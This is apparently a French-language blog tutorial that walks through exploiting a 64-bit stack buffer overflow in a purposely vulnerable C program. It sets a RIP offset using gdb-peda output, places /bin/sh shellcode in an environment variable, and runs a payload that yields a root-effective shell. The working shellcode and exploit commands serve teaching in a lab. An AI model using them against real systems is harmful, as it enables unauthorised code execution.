Exploitation – Buffer Overflow 64 bits

Je pense bien frôler des records de lenteurs sur cet article. Il dormait depuis des mois et des mois mais aujourd’hui il est disponible ! Au programme, les buffer overflows classiques ( level easy ) en 64bits.

Avant tout, il est important d’avoir compris le concept des buffer overlows sur 32 bits.
Le concept reste le même sur 64 bits avec quelques subtilités apportées par l’architecture :

  • Les registres ne s’appellent plus EAX,EBX,ECX,EIP.. mais RAX,RBX,RCX,RIP..
  • D’ailleurs ces registres ne font plus 32 mais 64 bits ( étonnant )
  • Et on a rajouté de nouveaux registres ( de R8 à R15 )
  • L’adresse maximale est de0x00007FFFFFFFFFFF. ( Ce qui signifie que si on dépasse le programme plante )
  • Les paramètres des fonctions ne sont plus passés sur la stack mais dans les registres ( important pour les shellcodes 🙂 )

Bon au boulot !
Voici le programme que l’on va exploiter :

 #include <stdio.h>
#include <unistd.h>

int vuln() {
char buf[80];
int r;
r = read(0, buf, 400);
return 0;
}

int main(int argc, char *argv[]) {
vuln();
return 0;
}

On vois bien vite que le problème se situe dans la fonction vuln(). La fonction read remplis le buffer de taille max 80 chars avec 400 chars.

Etant donné que cet article concerne un niveau easy on va compiler notre binaire comme suit :


gcc -fno-stack-protector -z execstack -o level1 level1.c

echo 0 > /proc/sys/kernel/randomize_va_space

Contrôler RIP

C’est le moment de sortir les bons outils !
Comme en 32 bits, j’utilise les cyclics_pattern de metasploit pour savoir ou je suis :


./pattern_create.rb -l 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

Injectons ce pattern :

 gdb-peda$ run < <(python2 -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq'") Starting program: /home/user/level1/level1 < <(python2 -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq'") Program received signal SIGSEGV, Segmentation fault.



[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b006b0 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x190
RSI: 0x7fffffffe510 ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad\220\001")
RDI: 0x0
RBP: 0x6441336441326441 ('Ad2Ad3Ad')
RSP: 0x7fffffffe578 ("4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0A"...)
RIP: 0x400554 (<vuln+39>: ret)
R8 : 0x7ffff7dd4e80 --> 0x0
R9 : 0x7ffff7dea530 (<_dl_fini>: push rbp)
R10: 0x7fffffffe2d0 --> 0x0
R11: 0x246
R12: 0x400440 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe670 ("l7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A\327\350\377\377\377\177")
R14: 0x0
R15: 0x0
EFLAGS: 0x10213 (CARRY parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40054b <vuln+30>: mov DWORD PTR [rbp-0x4],eax
0x40054e <vuln+33>: mov eax,0x0
0x400553 <vuln+38>: leave
=> 0x400554 <vuln+39>: ret
0x400555 <main>: push rbp
0x400556 <main+1>: mov rbp,rsp
0x400559 <main+4>: sub rsp,0x10
0x40055d <main+8>: mov DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe578 ("4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0A"...)
0008| 0x7fffffffe580 ("d7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3"...)
0016| 0x7fffffffe588 ("Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak"...)
0024| 0x7fffffffe590 ("2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8A"...)
0032| 0x7fffffffe598 ("e5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1"...)
0040| 0x7fffffffe5a0 ("Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al"...)
0048| 0x7fffffffe5a8 ("0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6A"...)
0056| 0x7fffffffe5b0 ("f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400554 in vuln () 

SIGSEGV, on a un segfault !
Celui ci se déclenche au passage sur le ret :

En fait ce qu’il faut savoir c’est que ret n’est pas une instruction à proprement parler mais un alias.

ret = pop RIP; jmp RIP

Regardons donc vers quoi pointe RSP :


gdb-peda$ x/wx $rsp
0x7fffffffe578: 0x35644134


./pattern_offset.rb -l 500 -q 0x35644134
[*] Exact match at offset 104

RIP se trouve à 104 ! Vérifions cela :

 gdb-peda$ run < <(python2 -c "import struct;print 'a'*104+struct.pack('<Q',0xdeadbeef)") [-------------------------------------code-------------------------------------] Invalid $PC address: 0xdeadbeef 

Pour manipuler l’adresse de RIP rien de plus pratique que la lib struct de python 🙂 !

Shell Time !

Nous sommes capable de contrôler RIP, avoir un shell sera facile maintenant.
Pour ce faire, je vais utiliser la technique de la variable d’environnement:

Une variable d’environnement contiendra mon shellcode, RIP pointera vers la variable.
J’utiliserais ce shellcode : https://www.exploit-db.com/exploits/36858/


export PWN=`python -c 'print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"'`

J’ajoute des nops dans le shellcode pour éviter les soucis de décalage.

Pour trouver l’adresse de la variable :


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
char *ptr;

if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}


gcc -o getenv getenv.c

./getenv PWN level1

PWN will be at 0x7fffffffef00

On a tout ce qu’il faut pour exploiter le binaire :


(python2 -c "from struct import pack;print 'a'*104+pack('<Q',0x7fffffffef00)"; cat) | ./level1

id

uid=1000(user) gid=1000(user) euid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare),999(docker),1000(user)

J’utilise aussi le tricks de « cat », il permet de conserver stdin ouvert, sans lui, aucun shell n’apparait.

 

 

And voila ! Nous avons réussi à exploiter notre premier buffer overflow en 64 bits 🙂

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *